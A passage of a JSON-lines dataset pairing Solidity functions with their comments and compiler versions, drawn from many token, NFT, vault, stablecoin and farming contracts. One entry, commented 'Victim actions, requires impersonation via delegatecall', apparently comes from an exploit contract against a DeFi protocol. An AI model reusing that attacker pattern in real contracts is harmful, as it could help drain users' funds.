(transferObject.transferCounter == BoDAddresses.length - 1) {\n transferAuth(from, to);\n }\n }", "version": "0.4.26"} {"comment": "/**\n * this function is called if all of board of directors vote for the transfer `_from`->`_to'.\n */", "function_code": "function transferAuth(uint256 from, address to) private {\n for (uint j = 0; j < BoDAddresses.length; j++) {\n transferObject.voted[BoDAddresses[j]] = false;\n }\n emit AuthorityTransfer(BoDAddresses[from], to);\n BoDAddresses[from] = to;\n transferObject.transferCounter = 0;\n \n }", "version": "0.4.26"} {"comment": "/**\n * Transfer token from sender(caller) to '_to' account\n *\n * Requirements:\n *\n * - `_to` cannot be the zero address.\n * - the sender(caller) must have a balance of at least `_value`.\n */", "function_code": "function transfer(address _to, uint256 _value) validAddress(_to, \"_to address is not valid\") smallerOrLessThan(_value, balances[msg.sender], \"transfer value should be smaller than your balance\") public returns (bool) {\n require(!isBlackListed[msg.sender], \"from address is blacklisted\");\n balances[msg.sender] = balances[msg.sender].sub(_value);\n balances[_to] = balances[_to].add(_value);\n emit Transfer(msg.sender, _to, _value);\n return true;\n }", "version": "0.4.26"} {"comment": "/**\n * sender(caller) transfer '_value' token to '_to' address from '_from' address\n *\n * Requirements:\n *\n * - `_to` and `_from` cannot be the zero address.\n * - `_from` must have a balance of at least `_value` .\n * - the sender(caller) must have allowance for `_from`'s tokens of at least `_value`.\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) validAddress(_from, \"_from address is not valid\") validAddress(_to, \"_to address is not valid\") public returns (bool) {\n require(_value<=allowances[_from][msg.sender], \"_value should be smaller than your allowance\");\n require(_value<=balances[_from],\"_value should be smaller than _from's balance\");\n require(!isBlackListed[_from], \"from address is blacklisted\");\n balances[_from] = balances[_from].sub(_value);\n balances[_to] = balances[_to].add(_value);\n allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);\n emit Transfer(_from, _to, _value);\n return true;\n }", "version": "0.4.26"} {"comment": "/**\n * Atomically decreases the allowance granted to `spender` by the sender(caller).\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `_spender` cannot be the zero address.\n * - `_spender` must have allowance for the caller of at least `_subtractedValue`.\n */", "function_code": "function decreaseApproval(address _spender, uint _subtractedValue) validAddress(_spender, \"_spender is not valid address\") public returns (bool) {\n uint oldValue = allowances[msg.sender][_spender];\n allowances[msg.sender][_spender] = _subtractedValue > oldValue ? 0 : oldValue.sub(_subtractedValue);\n emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]);\n return true;\n }", "version": "0.4.26"} {"comment": "/**\n * Destroys `amount` tokens from `account`, reducing the\n * total supply.\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n * - `amount` cannot be less than zero.\n * - `amount` cannot be more than sender(caller)'s balance.\n */", "function_code": "function burn(uint256 amount) public {\n require(amount > 0, \"amount cannot be less than zero\");\n require(amount <= balances[msg.sender], \"amount to burn is more than the caller's balance\");\n balances[msg.sender] = balances[msg.sender].sub(amount);\n totalSupply_ = totalSupply_.sub(amount);\n emit Transfer(msg.sender, address(0), amount);\n }", "version": "0.4.26"} {"comment": "/*uint minBalanceForAccounts;\r\n \r\n function setMinBalance(uint minimumBalanceInFinney) public onlyOwner {\r\n minBalanceForAccounts = minimumBalanceInFinney * 1 finney;\r\n }*/", "function_code": "function _transfer(address _from, address _to, uint _value) internal {\r\n require(_to != 0x0);\r\n require(balanceOf[_from] >= _value);\r\n require(balanceOf[_to] + _value > balanceOf[_to]);\r\n uint previousBalances = balanceOf[_from] + balanceOf[_to];\r\n balanceOf[_from] -= _value;\r\n balanceOf[_to] += _value;\r\n emit Transfer(_from, _to, _value);\r\n assert(balanceOf[_from] + balanceOf[_to] == previousBalances);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Function to debit tokens\r\n * @param _to The address that will receive the drawdown tokens.\r\n * @param _amount The amount of tokens to debit.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function debit(\r\n address _to,\r\n uint256 _amount\r\n )\r\n public\r\n hasDebitPermission\r\n canDebit\r\n returns (bool)\r\n {\r\n dc = COLLATERAL(collateral_contract);\r\n uint256 rate = dc.CreditRate();\r\n uint256 deci = 10 ** decimals; \r\n uint256 _amount_1 = _amount / deci / rate;\r\n uint256 _amount_2 = _amount_1 * deci * rate;\r\n \r\n require( _amount_1 > 0);\r\n dc.credit( _amount_1 ); \r\n \r\n uint256 _amountx = _amount_2;\r\n totalSupply = totalSupply.add(_amountx);\r\n balances[_to] = balances[_to].add(_amountx);\r\n emit Debit(collateral_contract, _amountx);\r\n emit Deposit( _to, _amountx);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// IPeachProject", "function_code": "function canMint(uint256 quantity) public view override returns (bool) {\r\n require(saleIsActive, \"sale hasn't started\");\r\n require(!presaleIsActive, 'only presale');\r\n require(totalSupply().add(quantity) <= MAX_TOKENS, 'quantity exceeds supply');\r\n require(_publicMinted.add(quantity) <= maxMintableSupply, 'quantity exceeds mintable');\r\n require(quantity <= maxPurchaseQuantity, 'quantity exceeds max');\r\n\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "// IPeachProjectAdmin", "function_code": "function mintToAddress(uint256 quantity, address to) external override onlyOwner {\r\n require(totalSupply().add(quantity) <= MAX_TOKENS, 'quantity exceeds supply');\r\n require(_adminMinted.add(quantity) <= maxAdminSupply, 'quantity exceeds mintable');\r\n\r\n for (uint256 i = 0; i < quantity; i++) {\r\n uint256 mintIndex = totalSupply();\r\n if (totalSupply() < MAX_TOKENS) {\r\n _adminMinted += 1;\r\n _safeMint(to, mintIndex);\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "// splits the amount of ETH according to a buy pressure formula, swaps the splitted fee, \n// and pools the remaining ETH with NOS to create LP tokens", "function_code": "function purchaseLPFor(address beneficiary) public payable lock {\n require(msg.value > 0, 'NOS: eth required to mint NOS LP');\n PurchaseLPVariables memory vars;\n uint ethFeePercentage = feeUINT();\n vars.ethFee = msg.value.mul(ethFeePercentage).div(1000);\n vars.netEth = msg.value.sub(vars.ethFee);\n\n (vars.reserve1, vars.reserve2, ) = config.tokenPair.getReserves();\n\n uint nosRequired;\n if (address(config.NOS) < address(config.weth)) {\n nosRequired = config.uniswapRouter.quote(\n vars.netEth,\n vars.reserve2,\n vars.reserve1\n );\n } else {\n nosRequired = config.uniswapRouter.quote(\n vars.netEth,\n vars.reserve1,\n vars.reserve2\n );\n }\n\n uint balance = config.NOS.balanceOf(address(this));\n require(balance >= nosRequired, 'NOS: insufficient NOS in LiquidVault');\n\n config.weth.deposit{value: vars.netEth}();\n address tokenPairAddress = address(config.tokenPair);\n config.weth.transfer(tokenPairAddress, vars.netEth);\n config.NOS.transfer(tokenPairAddress, nosRequired);\n config.uniswapOracle.update();\n\n uint liquidityCreated = config.tokenPair.mint(address(this));\n\n if (vars.ethFee > 0) {\n address[] memory path = new address[](2);\n path[0] = address(config.weth);\n path[1] = address(config.NOS);\n\n config.uniswapRouter.swapExactETHForTokens{ value:vars.ethFee }(\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n lockedLP[beneficiary].push(\n LPbatch({\n holder: beneficiary,\n amount: liquidityCreated,\n timestamp: block.timestamp\n })\n );\n\n emit LPQueued(\n beneficiary,\n liquidityCreated,\n vars.netEth,\n nosRequired,\n block.timestamp,\n _calculateLockPeriod()\n );\n }", "version": "0.7.1"} {"comment": "// claims the oldest LP batch according to the lock period formula", "function_code": "function claimLP() public returns (bool) {\n uint length = lockedLP[msg.sender].length;\n require(length > 0, 'NOS: No locked LP.');\n uint oldest = queueCounter[msg.sender];\n LPbatch memory batch = lockedLP[msg.sender][oldest];\n uint globalLPLockTime = _calculateLockPeriod();\n require(\n block.timestamp - batch.timestamp > globalLPLockTime,\n 'NOS: LP still locked.'\n );\n oldest = lockedLP[msg.sender].length - 1 == oldest\n ? oldest\n : oldest + 1;\n queueCounter[msg.sender] = oldest;\n uint blackHoleShare = lockPercentageUINT();\n uint blackholeDonation = blackHoleShare.mul(batch.amount).div(1000);\n emit LPClaimed(msg.sender, batch.amount, block.timestamp, blackholeDonation, globalLPLockTime);\n require(config.tokenPair.transfer(address(0), blackholeDonation), 'Blackhole burn failed');\n return config.tokenPair.transfer(batch.holder, batch.amount.sub(blackholeDonation));\n }", "version": "0.7.1"} {"comment": "//begins the public sale", "function_code": "function switchToPublicSale() public onlyOwner {\r\n State saleState_ = saleState();\r\n require(saleState_ != State.PublicSale, \"Public Sale is already live!\");\r\n require(saleState_ != State.NoSale, \"Cannot change to Public Sale if there has not been a Presale!\");\r\n \r\n publicSaleLaunchTime = block.timestamp;\r\n }", "version": "0.8.7"} {"comment": "// Victim actions, requires impersonation via delegatecall", "function_code": "function sellRewardForWeth(address, uint256 rewardAmount, address to) external override returns(uint256) {\r\n pickle.transfer(address(pickleWethPair), rewardAmount);\r\n (uint pickleReserve, uint wethReserve,) = pickleWethPair.getReserves();\r\n uint amountOutput = UniswapV2Library.getAmountOut(rewardAmount, pickleReserve, wethReserve);\r\n pickleWethPair.swap(uint(0), amountOutput, to, new bytes(0));\r\n return amountOutput;\r\n }", "version": "0.6.12"} {"comment": "// maps user to burned oneVBTC\n// important: make sure changeInterval is a function to allow the interval of update to change", "function_code": "function addCollateral(address collateral_, uint256 collateralDecimal_, address oracleAddress_, bool oneCoinOracle, bool oracleHasUpdate)\r\n external\r\n oneLPGov\r\n {\r\n // only add collateral once\r\n if (!previouslySeenCollateral[collateral_]) collateralArray.push(collateral_);\r\n\r\n previouslySeenCollateral[collateral_] = true;\r\n acceptedCollateral[collateral_] = true;\r\n oneCoinCollateralOracle[collateral_] = oneCoinOracle;\r\n collateralDecimals[collateral_] = collateralDecimal_;\r\n collateralOracle[collateral_] = oracleAddress_;\r\n collateralMintFee[collateral_] = 0;\r\n collateralOracleHasUpdate[collateral_]= oracleHasUpdate;\r\n }", "version": "0.6.12"} {"comment": "// minimum amount of block time (seconds) required for an update in reserve ratio", "function_code": "function setMinimumRefreshTime(uint256 val_)\r\n external\r\n oneLPGov\r\n returns (bool)\r\n {\r\n require(val_ != 0, \"minimum refresh time must be valid\");\r\n\r\n minimumRefreshTime = val_;\r\n\r\n // change collateral array\r\n for (uint i = 0; i < collateralArray.length; i++){\r\n if (acceptedCollateral[collateralArray[i]] && !oneCoinCollateralOracle[collateralArray[i]] && collateralOracleHasUpdate[collateralArray[i]]) IOracleInterface(collateralOracle[collateralArray[i]]).changeInterval(val_);\r\n }\r\n\r\n if (oneTokenOracleHasUpdate) IOracleInterface(oneTokenOracle).changeInterval(val_);\r\n\r\n if (stimulusOracleHasUpdate) IOracleInterface(stimulusOracle).changeInterval(val_);\r\n\r\n // change all the oracles (collateral, stimulus, oneToken)\r\n\r\n emit NewMinimumRefreshTime(val_);\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "// ======================================================\n// calculates how much you will need to send in order to mint oneVBTC, depending on current market prices + reserve ratio\n// oneAmount: the amount of oneVBTC you want to mint\n// collateral: the collateral you want to use to pay\n// also works in the reverse direction, i.e. how much collateral + stimulus to receive when you burn One", "function_code": "function consultOneDeposit(uint256 oneAmount, address collateral)\r\n public\r\n view\r\n returns (uint256, uint256)\r\n {\r\n require(oneAmount != 0, \"must use valid oneAmount\");\r\n require(acceptedCollateral[collateral], \"must be an accepted collateral\");\r\n\r\n uint256 stimulusUsd = getStimulusUSD(); // 10 ** 9\r\n\r\n // convert to correct decimals for collateral\r\n uint256 collateralAmount = oneAmount.mul(reserveRatio).div(MAX_RESERVE_RATIO).mul(10 ** collateralDecimals[collateral]).div(10 ** DECIMALS);\r\n collateralAmount = collateralAmount.mul(10 ** 9).div(getCollateralUsd(collateral));\r\n\r\n if (address(oneTokenOracle) == address(0)) return (collateralAmount, 0);\r\n\r\n uint256 stimulusAmountInOneStablecoin = oneAmount.mul(MAX_RESERVE_RATIO.sub(reserveRatio)).div(MAX_RESERVE_RATIO);\r\n\r\n uint256 stimulusAmount = stimulusAmountInOneStablecoin.mul(10 ** 9).div(stimulusUsd).mul(10 ** stimulusDecimals).div(10 ** DECIMALS); // must be 10 ** stimulusDecimals\r\n\r\n return (collateralAmount, stimulusAmount);\r\n }", "version": "0.6.12"} {"comment": "// @title: deposit collateral + stimulus token\n// collateral: address of the collateral to deposit (USDC, DAI, TUSD, etc)", "function_code": "function mint(\r\n uint256 oneAmount,\r\n address collateral\r\n )\r\n public\r\n payable\r\n nonReentrant\r\n updateProtocol()\r\n {\r\n require(acceptedCollateral[collateral], \"must be an accepted collateral\");\r\n require(oneAmount != 0, \"must mint non-zero amount\");\r\n\r\n // wait 3 blocks to avoid flash loans\r\n require((_lastCall[msg.sender] + MIN_DELAY) <= block.number, \"action too soon - please wait a few more blocks\");\r\n\r\n // validate input amounts are correct\r\n (uint256 collateralAmount, uint256 stimulusAmount) = consultOneDeposit(oneAmount, collateral);\r\n require(collateralAmount <= IERC20(collateral).balanceOf(msg.sender), \"sender has insufficient collateral balance\");\r\n require(stimulusAmount <= IERC20(stimulus).balanceOf(msg.sender), \"sender has insufficient stimulus balance\");\r\n\r\n // checks passed, so transfer tokens\r\n SafeERC20.safeTransferFrom(IERC20(collateral), msg.sender, address(this), collateralAmount);\r\n SafeERC20.safeTransferFrom(IERC20(stimulus), msg.sender, address(this), stimulusAmount);\r\n\r\n oneAmount = oneAmount.sub(oneAmount.mul(mintFee).div(100 * 10 ** DECIMALS)); // apply mint fee\r\n oneAmount = oneAmount.sub(oneAmount.mul(collateralMintFee[collateral]).div(100 * 10 ** DECIMALS)); // apply collateral fee\r\n\r\n _totalSupply = _totalSupply.add(oneAmount);\r\n _oneBalances[msg.sender] = _oneBalances[msg.sender].add(oneAmount);\r\n\r\n emit Transfer(address(0x0), msg.sender, oneAmount);\r\n\r\n _lastCall[msg.sender] = block.number;\r\n\r\n emit Mint(stimulus, msg.sender, collateral, collateralAmount, stimulusAmount, oneAmount);\r\n }", "version": "0.6.12"} {"comment": "/// burns stablecoin and increments _burnedStablecoin mapping for user\n/// user can claim collateral in a 2nd step below", "function_code": "function withdraw(\r\n uint256 oneAmount,\r\n address collateral\r\n )\r\n public\r\n nonReentrant\r\n updateProtocol()\r\n {\r\n require(oneAmount != 0, \"must withdraw non-zero amount\");\r\n require(oneAmount <= _oneBalances[msg.sender], \"insufficient balance\");\r\n require(previouslySeenCollateral[collateral], \"must be an existing collateral\");\r\n require((_lastCall[msg.sender] + MIN_DELAY) <= block.number, \"action too soon - please wait a few blocks\");\r\n\r\n // burn oneAmount\r\n _totalSupply = _totalSupply.sub(oneAmount);\r\n _oneBalances[msg.sender] = _oneBalances[msg.sender].sub(oneAmount);\r\n\r\n _burnedStablecoin[msg.sender] = _burnedStablecoin[msg.sender].add(oneAmount);\r\n\r\n _lastCall[msg.sender] = block.number;\r\n emit Transfer(msg.sender, address(0x0), oneAmount);\r\n }", "version": "0.6.12"} {"comment": "/// @notice If you are interested, I would recommend reading: https://slowmist.medium.com/\n/// also https://cryptobriefing.com/50-million-lost-the-top-19-defi-cryptocurrency-hacks-2020/", "function_code": "function withdrawFinal(address collateral, uint256 amount)\r\n public\r\n nonReentrant\r\n updateProtocol()\r\n {\r\n require(previouslySeenCollateral[collateral], \"must be an existing collateral\");\r\n require((_lastCall[msg.sender] + MIN_DELAY) <= block.number, \"action too soon - please wait a few blocks\");\r\n\r\n uint256 oneAmount = _burnedStablecoin[msg.sender];\r\n require(oneAmount != 0, \"insufficient oneVBTC to redeem\");\r\n require(amount <= oneAmount, \"insufficient oneVBTC to redeem\");\r\n\r\n _burnedStablecoin[msg.sender] = _burnedStablecoin[msg.sender].sub(amount);\r\n\r\n // send collateral - fee (convert to collateral decimals too)\r\n uint256 collateralAmount = amount.sub(amount.mul(withdrawFee).div(100 * 10 ** DECIMALS)).mul(10 ** collateralDecimals[collateral]).div(10 ** DECIMALS);\r\n collateralAmount = collateralAmount.mul(10 ** 9).div(getCollateralUsd(collateral));\r\n\r\n uint256 stimulusAmount = 0;\r\n\r\n // check enough reserves - don't want to burn one coin if we cannot fulfill withdrawal\r\n require(collateralAmount <= IERC20(collateral).balanceOf(address(this)), \"insufficient collateral reserves - try another collateral\");\r\n\r\n SafeERC20.safeTransfer(IERC20(collateral), msg.sender, collateralAmount);\r\n\r\n _lastCall[msg.sender] = block.number;\r\n\r\n emit Withdraw(stimulus, msg.sender, collateral, collateralAmount, stimulusAmount, amount);\r\n }", "version": "0.6.12"} {"comment": "// can execute any abstract transaction on this smart contrat\n// target: address / smart contract you are interracting with\n// value: msg.value (amount of eth in WEI you are sending. Most of the time it is 0)\n// signature: the function signature (name of the function and the types of the arguments).\n// for example: \"transfer(address,uint256)\", or \"approve(address,uint256)\"\n// data: abi-encodeded byte-code of the parameter values you are sending. See \"./encode.js\" for Ether.js library function to make this easier", "function_code": "function executeTransaction(address target, uint value, string memory signature, bytes memory data) public payable oneLPGov returns (bytes memory) {\r\n bytes memory callData;\r\n\r\n if (bytes(signature).length == 0) {\r\n callData = data;\r\n } else {\r\n callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);\r\n }\r\n\r\n // solium-disable-next-line security/no-call-value\r\n (bool success, bytes memory returnData) = target.call.value(value)(callData);\r\n require(success, \"oneVBTC::executeTransaction: Transaction execution reverted.\");\r\n\r\n return returnData;\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice The airdrop function which will be permanently disabled once all tokens have been airdropped.\n \t*\n */", "function_code": "function airdrop(address[] memory _to, uint256[][] memory _tokenIds) public onlyOwner {\n require(!airdropPermanentlyDisabled, \"Once the airdrop is disabled, the function can never be called again.\");\n for (uint i = 0; i < _to.length; i++) {\n for (uint z = 0; z < _tokenIds[i].length; z++) {\n _safeMint(_to[i], _tokenIds[i][z]);\n distortionSupply.increment();\n } \n }\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Generate the SVG of any Distortion piece, including token IDs that are out of bounds.\n \t*\n */", "function_code": "function generateDistortion(uint256 tokenId) public view returns (string memory) {\n \n string memory output;\n output = string(abi.encodePacked(\n ' ',\n genDefs(tokenId),\n genMiddle(tokenId),\n genSquares(tokenId),\n genEnd(tokenId)\n ));\n return output;\n\n }", "version": "0.8.7"} {"comment": "/**\n * @notice\n \t*\n */", "function_code": "function tokenURI(uint256 tokenId) override public view returns (string memory) {\n\n require(_exists(tokenId), \"Token doesn't exist. Try using the generateDistortion function to generate non-existant pieces.\");\n string memory ringCount = generateNum(\"ringCount\", tokenId, hashOfBlock, 5, 15);\n string memory scale = generateNum(\"scale\", tokenId, hashOfBlock, 10, 40);\n uint freq = getFrequency(tokenId);\n\n\n string memory json = Base64.encode(bytes(string(abi.encodePacked('{\"name\": \"Distortion #', toString(tokenId),\n '\",\"attributes\": [ { \"trait_type\": \"Color\", \"value\": \"',\n colorNames[generateColorNumber(\"color\", tokenId)],\n '\" }, { \"trait_type\": \"Distortion Scale\", \"value\": ',\n scale,\n ' }, { \"trait_type\": \"Rings\", \"value\": ', \n ringCount,\n ' }, { \"trait_type\": \"Frequency Multiple\", \"value\": ', \n toString(freq),\n ' }]',\n ', \"description\": \"Distortion is a fully hand-typed 100% on-chain art collection.\", \"image\": \"data:image/svg+xml;base64,',\n Base64.encode(bytes(string(abi.encodePacked(generateDistortion(tokenId))))),\n '\"}'))));\n string memory output = string(abi.encodePacked('data:application/json;base64,', json));\n\n return output;\n\n }", "version": "0.8.7"} {"comment": "// ERC20 TransferFrom function", "function_code": "function transferFrom(address from, address to, uint value) public override returns (bool success) {\r\n require(value <= allowance[from][msg.sender], 'Must not send more than allowance');\r\n allowance[from][msg.sender] -= value;\r\n _transfer(from, to, value);\r\n return true;\r\n }", "version": "0.6.4"} {"comment": "//======================================EMISSION========================================//\n// Internal - Update emission function", "function_code": "function emittingAmount() internal returns(uint){\r\n \r\n if(now >= nextEpochTime){\r\n \r\n currentEpoch += 1;\r\n \r\n if(currentEpoch > 10){\r\n \r\n emission = BPE;\r\n BPE -= emission.div(2);\r\n balanceOf[address(this)] -= emission.div(2);\r\n \r\n \r\n }\r\n emission = emission/2;\r\n nextEpochTime += (secondsPerDay * daysPerEpoch);\r\n emit NewEpoch(currentEpoch, emission, nextEpochTime);\r\n \r\n }\r\n \r\n return emission;\r\n \r\n \r\n }", "version": "0.6.4"} {"comment": "/** @dev initializes the farming contract.\r\n * @param extension extension address.\r\n * @param extensionInitData lm extension init payload.\r\n * @param orchestrator address of the eth item orchestrator.\r\n * @param rewardTokenAddress address of the reward token.\r\n * @return extensionReturnCall result of the extension initialization function, if it was called. \r\n */", "function_code": "function init(address extension, bytes memory extensionInitData, address orchestrator, address rewardTokenAddress, bytes memory farmingSetupInfosBytes) public returns(bytes memory extensionReturnCall) {\r\n require(_factory == address(0), \"Already initialized\");\r\n require((_extension = extension) != address(0), \"extension\");\r\n _factory = msg.sender;\r\n emit RewardToken(_rewardTokenAddress = rewardTokenAddress);\r\n if (keccak256(extensionInitData) != keccak256(\"\")) {\r\n extensionReturnCall = _call(_extension, extensionInitData);\r\n }\r\n (_farmTokenCollection,) = IEthItemOrchestrator(orchestrator).createNative(abi.encodeWithSignature(\"init(string,string,bool,string,address,bytes)\", \"Covenants Farming\", \"cFARM\", true, IFarmFactory(_factory).getFarmTokenCollectionURI(), address(this), \"\"), \"\");\r\n if(farmingSetupInfosBytes.length > 0) {\r\n FarmingSetupInfo[] memory farmingSetupInfos = abi.decode(farmingSetupInfosBytes, (FarmingSetupInfo[]));\r\n for(uint256 i = 0; i < farmingSetupInfos.length; i++) {\r\n _setOrAddFarmingSetupInfo(farmingSetupInfos[i], true, false, 0);\r\n }\r\n }\r\n }", "version": "0.7.6"} {"comment": "/** @dev updates the free setup with the given index.\r\n * @param setupIndex index of the setup that we're updating.\r\n * @param amount amount of liquidity that we're adding/removeing.\r\n * @param positionId position id.\r\n * @param fromExit if it's from an exit or not.\r\n */", "function_code": "function _updateFreeSetup(uint256 setupIndex, uint256 amount, uint256 positionId, bool fromExit) private {\r\n uint256 currentBlock = block.number < _setups[setupIndex].endBlock ? block.number : _setups[setupIndex].endBlock;\r\n if (_setups[setupIndex].totalSupply != 0) {\r\n uint256 lastUpdateBlock = _setups[setupIndex].lastUpdateBlock < _setups[setupIndex].startBlock ? _setups[setupIndex].startBlock : _setups[setupIndex].lastUpdateBlock;\r\n _rewardPerTokenPerSetup[setupIndex] += (((currentBlock - lastUpdateBlock) * _setups[setupIndex].rewardPerBlock) * 1e18) / _setups[setupIndex].totalSupply;\r\n }\r\n // update the last block update variable\r\n _setups[setupIndex].lastUpdateBlock = currentBlock;\r\n if (positionId != 0) {\r\n _rewardPerTokenPaid[positionId] = _rewardPerTokenPerSetup[setupIndex];\r\n }\r\n if (amount > 0) {\r\n fromExit ? _setups[setupIndex].totalSupply -= amount : _setups[setupIndex].totalSupply += amount;\r\n }\r\n }", "version": "0.7.6"} {"comment": "/** @dev mints a new FarmToken inside the collection for the given position.\r\n * @param uniqueOwner farming position owner.\r\n * @param amount amount of to mint for a farm token.\r\n * @param setupIndex index of the setup.\r\n * @return objectId new farm token object id.\r\n */", "function_code": "function _mintFarmTokenAmount(address uniqueOwner, uint256 amount, uint256 setupIndex) private returns(uint256 objectId) {\r\n if (_setups[setupIndex].objectId == 0) {\r\n (objectId,) = INativeV1(_farmTokenCollection).mint(amount, string(abi.encodePacked(\"Farming LP \", _toString(_setupsInfo[_setups[setupIndex].infoIndex].liquidityPoolTokenAddress))), \"fLP\", IFarmFactory(_factory).getFarmTokenURI(), true);\r\n emit FarmToken(objectId, _setupsInfo[_setups[setupIndex].infoIndex].liquidityPoolTokenAddress, setupIndex, _setups[setupIndex].endBlock);\r\n _objectIdSetup[objectId] = setupIndex;\r\n _setups[setupIndex].objectId = objectId;\r\n } else {\r\n INativeV1(_farmTokenCollection).mint(_setups[setupIndex].objectId, amount);\r\n }\r\n INativeV1(_farmTokenCollection).safeTransferFrom(address(this), uniqueOwner, _setups[setupIndex].objectId, amount, \"\");\r\n }", "version": "0.7.6"} {"comment": "/** @dev burns a farm token from the collection.\r\n * @param objectId object id where to burn liquidity.\r\n * @param amount amount of liquidity to burn.\r\n */", "function_code": "function _burnFarmTokenAmount(uint256 objectId, uint256 amount) private {\r\n INativeV1 tokenCollection = INativeV1(_farmTokenCollection);\r\n // transfer the farm token to this contract\r\n tokenCollection.safeTransferFrom(msg.sender, address(this), objectId, amount, \"\");\r\n // burn the farm token\r\n tokenCollection.burn(objectId, amount);\r\n }", "version": "0.7.6"} {"comment": "/** @dev calls the contract at the given location using the given payload and returns the returnData.\r\n * @param location location to call.\r\n * @param payload call payload.\r\n * @return returnData call return data.\r\n */", "function_code": "function _call(address location, bytes memory payload) private returns(bytes memory returnData) {\r\n assembly {\r\n let result := call(gas(), location, 0, add(payload, 0x20), mload(payload), 0, 0)\r\n let size := returndatasize()\r\n returnData := mload(0x40)\r\n mstore(returnData, size)\r\n let returnDataPayloadStart := add(returnData, 0x20)\r\n returndatacopy(returnDataPayloadStart, 0, size)\r\n mstore(0x40, add(returnDataPayloadStart, size))\r\n switch result case 0 {revert(returnDataPayloadStart, size)}\r\n }\r\n }", "version": "0.7.6"} {"comment": "/** @dev returns the input address to string.\r\n * @param _addr address to convert as string.\r\n * @return address as string.\r\n */", "function_code": "function _toString(address _addr) internal pure returns(string memory) {\r\n bytes32 value = bytes32(uint256(_addr));\r\n bytes memory alphabet = \"0123456789abcdef\";\r\n\r\n bytes memory str = new bytes(42);\r\n str[0] = '0';\r\n str[1] = 'x';\r\n for (uint i = 0; i < 20; i++) {\r\n str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))];\r\n str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))];\r\n }\r\n return string(str);\r\n }", "version": "0.7.6"} {"comment": "/** @dev ensures the transfer from the contract to the extension.\r\n * @param amount amount to transfer.\r\n */", "function_code": "function _ensureTransfer(uint256 amount) private returns(bool) {\r\n uint256 initialBalance = _rewardTokenAddress == address(0) ? address(this).balance : IERC20(_rewardTokenAddress).balanceOf(address(this));\r\n uint256 expectedBalance = initialBalance + amount;\r\n try IFarmExtension(_extension).transferTo(amount) {} catch {}\r\n uint256 actualBalance = _rewardTokenAddress == address(0) ? address(this).balance : IERC20(_rewardTokenAddress).balanceOf(address(this));\r\n if(actualBalance == expectedBalance) {\r\n return true;\r\n }\r\n _giveBack(actualBalance - initialBalance);\r\n return false;\r\n }", "version": "0.7.6"} {"comment": "/// @notice Creates `_amount` token to `_to`. Must only be called by the owner ().", "function_code": "function mint(address _to, uint256 _amount) public onlyOwner {\r\n uint256 _tsupply = totalSupply();\r\n uint256 newSupply = _tsupply.add(_amount);\r\n require(newSupply <= _maxSupply, \"mint amount must not exeed maxSupply\");\r\n\r\n _mint(_to, _amount);\r\n _moveDelegates(address(0), _delegates[_to], _amount);\r\n }", "version": "0.6.12"} {"comment": "// TODO mapping(address => mapping (uint256 => bool)) usedApprovalMessages;\n// TODO remove as we can use erc1155 totkensReceived hook", "function_code": "function setApprovalForAllAndCall(address _target, bytes memory _data) public payable returns(bytes memory){\n require(BytesUtil.doFirstParamEqualsAddress(_data, msg.sender), \"first param != sender\");\n _setApprovalForAllFrom(msg.sender, _target, true);\n (bool success, bytes memory returnData) = _target.call.value(msg.value)(_data);\n require(success, \"Something went wrong with the extra call.\");\n return returnData;\n }", "version": "0.5.2"} {"comment": "// TODO 2 signatures one for approve and one for call ?", "function_code": "function approveAllAndCallViaSignedMessage(address _target, uint256 _nonce, bytes calldata _data, bytes calldata signature) external payable returns(bytes memory){\n address signer; // TODO ecrecover(hash, v, r, s);\n require(BytesUtil.doFirstParamEqualsAddress(_data, signer), \"first param != signer\");\n require(approvalMessages[signer][_target]++ == _nonce);\n _setApprovalForAllFrom(signer, _target, true);\n (bool success, bytes memory returnData) = _target.call.value(msg.value)(_data);\n require(success, \"Something went wrong with the extra call.\");\n return returnData;\n }", "version": "0.5.2"} {"comment": "// --- Dependency setter ---", "function_code": "function setAddresses(\n address _borrowerOperationsAddress,\n address _activePoolAddress,\n address _defaultPoolAddress,\n address _stabilityPoolAddress,\n address _gasPoolAddress,\n address _collSurplusPoolAddress,\n address _priceFeedAddress,\n address _lusdTokenAddress,\n address _sortedTrovesAddress,\n address _lqtyTokenAddress,\n address _lqtyStakingAddress\n )\n external\n override\n onlyOwner\n {\n checkContract(_borrowerOperationsAddress);\n checkContract(_activePoolAddress);\n checkContract(_defaultPoolAddress);\n checkContract(_stabilityPoolAddress);\n checkContract(_gasPoolAddress);\n checkContract(_collSurplusPoolAddress);\n checkContract(_priceFeedAddress);\n checkContract(_lusdTokenAddress);\n checkContract(_sortedTrovesAddress);\n checkContract(_lqtyTokenAddress);\n checkContract(_lqtyStakingAddress);\n\n borrowerOperationsAddress = _borrowerOperationsAddress;\n activePool = IActivePool(_activePoolAddress);\n defaultPool = IDefaultPool(_defaultPoolAddress);\n stabilityPool = IStabilityPool(_stabilityPoolAddress);\n gasPoolAddress = _gasPoolAddress;\n collSurplusPool = ICollSurplusPool(_collSurplusPoolAddress);\n priceFeed = IPriceFeed(_priceFeedAddress);\n lusdToken = ILUSDToken(_lusdTokenAddress);\n sortedTroves = ISortedTroves(_sortedTrovesAddress);\n lqtyToken = ILQTYToken(_lqtyTokenAddress);\n lqtyStaking = ILQTYStaking(_lqtyStakingAddress);\n\n // setMinNetDebt();\n // // This makes impossible to open a trove with zero withdrawn LUSD\n // assert(MIN_NET_DEBT > 0);\n\n\n emit BorrowerOperationsAddressChanged(_borrowerOperationsAddress);\n emit ActivePoolAddressChanged(_activePoolAddress);\n emit DefaultPoolAddressChanged(_defaultPoolAddress);\n emit StabilityPoolAddressChanged(_stabilityPoolAddress);\n emit 